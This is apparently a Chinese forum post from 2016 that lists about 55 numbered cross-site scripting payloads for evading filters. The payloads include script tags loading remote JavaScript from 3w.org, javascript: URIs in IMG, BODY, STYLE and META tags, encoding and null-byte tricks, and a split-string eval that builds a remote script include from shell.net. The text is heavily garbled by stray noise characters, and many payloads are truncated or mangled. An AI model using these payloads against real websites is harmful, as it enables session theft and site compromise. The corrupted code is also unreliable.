(1)普通的XSS JavaScript注入
( E8 Q7 d& j' r- B6 T; u<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
& ]: B2 p6 U. l7 t8 ~8 U(99)另类弹框7 R" ?- u, Q$ O- R N
<q/oncut=alert()>1- H8 |4 K. m6 [4 q$ {1 ~
<s/onclick=alert()>b
/ }7 W' G% A/ I; l, j <XSS=" onclick="alert(1)//">clickme</SSX=">2 N6 _$ h- q) e* V7 K& n4 g5 L
<zzz onclick=alert`1`>clickme</zzz>
0 w5 |' q+ ~- M) h <a onclick=alert`1`>clickme</a>
4 q6 m0 R% Q+ o* x9 s" \1 |<a=">clickme</a=">; J4 H9 b8 P% m3 t0 o' K
<a=">clickme</a>9 B" V3 Y4 q; C6 H- k8 ?6 t5 A
<z=">clickme</z=">2 G) b$ V4 G* A+ f% r# e1 ?5 P- t4 {
<z onclick=alert`1`>clickme</z>
1 y2 p. s- i9 \# U& R
3 `7 |! Q% J& ? ^4 [& j(2)IMG标签XSS使用JavaScript命令
5 I3 F+ X8 g- U9 W* k<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>( J1 M) W- b) q) K$ V7 ]
) j# x$ w' D2 ^/ b+ d' x% R(3)IMG标签无分号无引号. v- m. l8 ^4 {6 S4 E
<IMG SRC=javascript:alert(‘XSS’)>$ N, n5 k. x, d3 [! K: U1 ?
6 B% _7 v- c, ]& n& }(4)IMG标签大小写不敏感
; \: K3 g3 P: Q) m9 h. d<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
' w0 _, ~& D# D2 `& X* j+ f0 F. w$ i5 f5 l3 z4 z
(5)HTML编码(必须有分号): {! t3 v4 Q0 D4 s
<IMG SRC=javascript:alert(“XSS”)>+ M6 ]" X! ~; S& W- Q+ y
* B% q! _/ @! H# u& t(6)修正缺陷IMG标签( m% Y7 @8 j7 X# J4 g4 l. I
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
+ F1 W F' `, C2 q! t/ N# u4 u/ a9 ?. k
(7)formCharCode标签(计算器)
: ^7 p4 d6 u" M) k4 ^<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
/ I6 i0 o* g9 J6 b4 x+ ?7 |% e7 B' r. g, F/ F; C
(8)UTF-8的Unicode编码(计算器)9 r# c L" t2 B9 u" J8 S( i$ m
<IMG SRC=jav..省略..S')># r. l9 c/ `' U
' ]0 U/ a" C- I+ [) f(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
4 s9 Q; L& C2 H! T% w3 s<IMG SRC=jav..省略..S')>7 F2 G; P: W Y" C' I
) V$ n% Z- }6 j4 `4 v1 T
(10)十六进制编码也是没有分号(计算器)
0 d6 R5 n/ O: h# [<IMG SRC=\'#\'" /span>+ G/ }% U- J! ~% ?$ i$ r0 H
! K) d/ m- M8 m: u0 @; K(11)嵌入式标签,将Javascript分开" D% S( z9 _) O! {2 F. X* t( f
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>0 R; a1 f% r( f% x }& [6 L0 l
* g! o/ \! `- o9 Q; j. m- Q2 f
(12)嵌入式编码标签,将Javascript分开5 ^! o5 D4 g1 H4 q9 ]$ b, k6 K
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
% Y' y O$ Z& H* ?8 e% N; V
7 }7 V7 f) X2 @3 X0 W& e(13)嵌入式换行符8 f$ l7 t1 H; E
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>! s! B# ?3 _( v# d9 q$ c# ~
( L; ?$ o) a( F g- y# Z
(14)嵌入式回车
% |) H# r, m" y0 F% d2 e<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
- S" i$ I/ T! E& M$ L! \4 v. l: ]7 g2 X* C9 g. U
(15)嵌入式多行注入JavaScript,这是XSS极端的例子8 G% j. i) `5 _/ T0 C9 ~
<IMG SRC=\'#\'" /span>
8 D2 W5 I8 Z C0 `
* @2 S* A2 v) h- `4 i(16)解决限制字符(要求同页面)0 J1 ~0 [/ o6 D+ _) n% N g
<script>z=’document.’</script>' d* a) F) I. W. S" Q: E+ u9 v
<script>z=z+’write(“‘</script>5 D2 D$ N5 p9 a8 U: @2 ~
<script>z=z+’<script’</script>
' E7 C5 P& M0 G* h4 I& A! I* b1 U. R<script>z=z+’ src=ht’</script>& {( {3 ] F; i- f( U3 G. h
<script>z=z+’tp://ww’</script>
5 w( B" F# s; T) X H<script>z=z+’w.shell’</script>
0 _* F7 ^3 O6 i6 z$ H7 @) v. n<script>z=z+’.net/1.’</script>) ` J4 j% |! W; l" F. ^
<script>z=z+’js></sc’</script>$ r4 f, @- Z5 @2 ^1 b3 M
<script>z=z+’ript>”)’</script>
: l7 e6 v: f6 Q' d<script>eval_r(z)</script>
2 N/ P( H3 v# {6 I
" B7 l. n( F; `8 Q, p(17)空字符. B6 c, a7 W0 L7 h
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out" |8 q r. u1 X: b. v# W
2 X3 m7 e2 o/ n0 _(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用; P, O6 V) S/ V- x- _6 A( I# d5 a
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out3 _; z D8 J, d$ v* g+ i; m
" k3 B) \9 Z5 S/ V(19)Spaces和meta前的IMG标签
# f3 l. v4 N+ O6 i5 O& Z. `<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>, W! H8 O# e' ~2 A
4 \, \# B1 ^+ l" N5 Q) i2 c3 g(20)Non-alpha-non-digit XSS
, [* H2 W" ^7 ~4 u& p: k<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>* `' T( x1 S6 J
: _3 C4 [) p) f. C. l) ](21)Non-alpha-non-digit XSS to 2
7 N2 {3 F' s, Y; Q7 l8 {<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
* {& M" e! Q7 `
2 X# r0 p( h4 G" N: r, r(22)Non-alpha-non-digit XSS to 3! z! g/ @. R0 N5 z/ n
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>. W% V M6 O9 a# z
% t. T6 X- d2 D(23)双开括号/ z9 R; A1 N) ^9 a, Y
<<SCRIPT>alert(“XSS”);//<</SCRIPT>3 g6 p7 G1 S2 c/ B& S5 x2 P) W( U
$ s2 E( v/ L3 `& u6 [( j' L
(24)无结束脚本标记(仅火狐等浏览器)7 ~- |! J6 e# d h
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>; { v0 R0 k4 y4 ~5 a" z' k$ H! T
- d1 o) `! H6 Y' q(25)无结束脚本标记2
. b+ F) O1 z6 ?, n( V<SCRIPT SRC=//3w.org/XSS/xss.js>6 A" h. Q* {& m' j
# y* S6 F4 }) t
(26)半开的HTML/JavaScript XSS+ i3 y: @" \9 y- s0 m
<IMG SRC=\'#\'" /span>, {$ ]3 F: J: b; u5 [9 u
+ Y! C5 C8 O( K, e* }) A7 l(27)双开角括号
) m+ k, j4 u3 B3 S0 V2 y, w9 M& ~# E# o<iframe src=http://3w.org/XSS.html <
. K' u8 o. X* P3 F+ k, }' T5 W. b6 w; T% }, U- W5 w. B' d
(28)无单引号 双引号 分号
% ` s6 Z$ U) ?' ]<SCRIPT>a=/XSS/
# X' R! g J U4 t: Oalert(a.source)</SCRIPT>5 z- k- x. d7 m8 ^* n# ^# E# X
+ C7 {0 l; `& w: a& U
(29)换码过滤的JavaScript
, t* w$ P4 }" N\”;alert(‘XSS’);//6 H& i* P9 y% ^' o4 O9 i
6 ]7 o4 x; l" F* Q- m! b9 P(30)结束Title标签
1 c4 w$ O' ?# w- q</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
( @; y8 R# b d. T: V1 C, k3 m" T ]- y1 f3 v4 {+ Y3 F
(31)Input Image3 w3 u: p9 A5 S! Q5 d
<INPUT SRC=\'#\'" /span>
) H' t+ l. N, N9 m: }! V# t
4 U( j8 M/ c! j) A6 ~7 ^4 L2 `' e(32)BODY Image
8 U0 v( T+ F5 N J, v9 N; t<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
# P; Y. n: t! D* f: _9 F8 P, ~
# b6 U% A) n. D% L! O1 f(33)BODY标签
[& p3 J" ~( [9 v<BODY(‘XSS’)>
+ S2 O. h% d; c1 x. r( g; G& v/ L( y' A( N s
(34)IMG Dynsrc1 U! a) |' R4 J4 f
<IMG DYNSRC=\'#\'" /span>
8 K1 C# ?; t8 ^
* V4 B/ Q! _! n; V4 u(35)IMG Lowsrc' O- k/ T. E( ]" L: ^
<IMG LOWSRC=\'#\'" /span>
- i) r/ C- u" j9 r! p f
$ V$ @6 u2 y3 U0 b6 t% t& I% Y! Y(36)BGSOUND
2 |& X. O$ C* x/ ]<BGSOUND SRC=\'#\'" /span>
$ M) S- ~0 k8 V4 U' d% B/ }% p. {* z5 L+ J$ M/ A0 b9 y! f
(37)STYLE sheet2 w- `2 a- h. S$ _, Q% _
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
7 O* L- z, l* g% l. k" P( @4 ^' I, D
! x9 n9 k7 a0 n+ q8 Q(38)远程样式表2 e1 U# W0 P* H# q' u. S7 o
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
z2 a/ Q+ z5 _. q* J6 L& N4 w9 c8 L D3 ~# M* _6 d
(39)List-style-image(列表式)
+ S/ m9 W, n- T<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
, \6 u0 b- V. u" C7 ?0 J" Q" Z/ O1 _! _/ C+ L' B, ?: \, }
(40)IMG VBscript
" D+ L$ T# q2 l0 T! T o$ A0 h<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
6 d! q5 T4 e X) O0 Y9 Y1 N% {. L4 z/ v# H7 ?$ p. @2 z0 t
(41)META链接url
: l# Z9 T, `' @% G% M% }0 ~( v<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
# P# A/ h" ?: R3 D3 k
- T3 w1 x) \% O(42)Iframe6 X8 l# y3 ^9 n
<IFRAME SRC=\'#\'" /IFRAME>' ?7 e4 Q+ ?4 {4 n# b8 h
; h) i1 y) Z3 c" W5 c) e(43)Frame2 s. E3 J4 m' W a+ U5 H: g
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
, m/ u! v2 F; }2 }; L9 b
6 h6 Q. P6 U/ l(44)Table
9 ^6 o4 {4 |; Q7 q8 e( v7 k<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>7 J: b5 I6 c$ B& {
* K; @2 K3 L2 X1 R9 r% s" q& {
(45)TD
7 v4 R# P- O+ c<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>& _6 b- ?- E/ a+ O; N, g
6 J6 A; d" B* r+ \" } i% m. ~/ V7 `
(46)DIV background-image
8 h4 S. _" S# a; d: u; V T<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>/ h" G/ a) o4 G6 v3 O2 P7 j
) N2 T$ ~1 l3 _$ H2 \(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
# z r. j3 Z; p6 m<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
* p+ R% H' ~" @) q! D* _$ W2 A- `1 d; m7 V( a+ K9 d
(48)DIV expression$ z" a( r* U# e3 ]
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
9 X" \8 i1 J; J U X- y; \1 L7 @5 r
(49)STYLE属性分拆表达
! p" t' [' |+ H' q! B<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
" Z8 h* C2 t+ S- k' w( U, T# @( V: f3 k
(50)匿名STYLE(组成:开角号和一个字母开头)
: h& Z& k4 a0 k1 C<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
' v; O3 s9 B' L+ y4 R& b* M1 A3 E
(51)STYLE background-image0 d: ]8 @& Q( Y: p/ Q
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
: e" w% N' N1 q: h- A9 S* x: L! I" u- T
(52)IMG STYLE方式
) L" z! \& W- }9 S6 n- N- Xexppression(alert(“XSS”))’>
( q; q p5 A. ?. Z0 b+ q7 H
1 y3 d6 U' }) _ Y5 W! k+ x(53)STYLE background* Y) k; J$ D) r1 u- C8 G
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>7 {' P! g6 Z" d- {+ [4 @9 r
3 U4 w Q5 D* `. Y. |
(54)BASE
+ M5 d! J: m9 {) J$ i$ q3 `<BASE HREF=”javascript:alert(‘XSS’);//”>1 S2 J3 g% X9 P2 T' U u0 I
6 o1 D3 c- w3 S1 t
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
1 g# M' v& u4 n# z6 h Q( b<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>
& O8 @6 w! J4 o* M- u2 q |
发表于 2016-4-28 10:06:15
收藏
支持
反对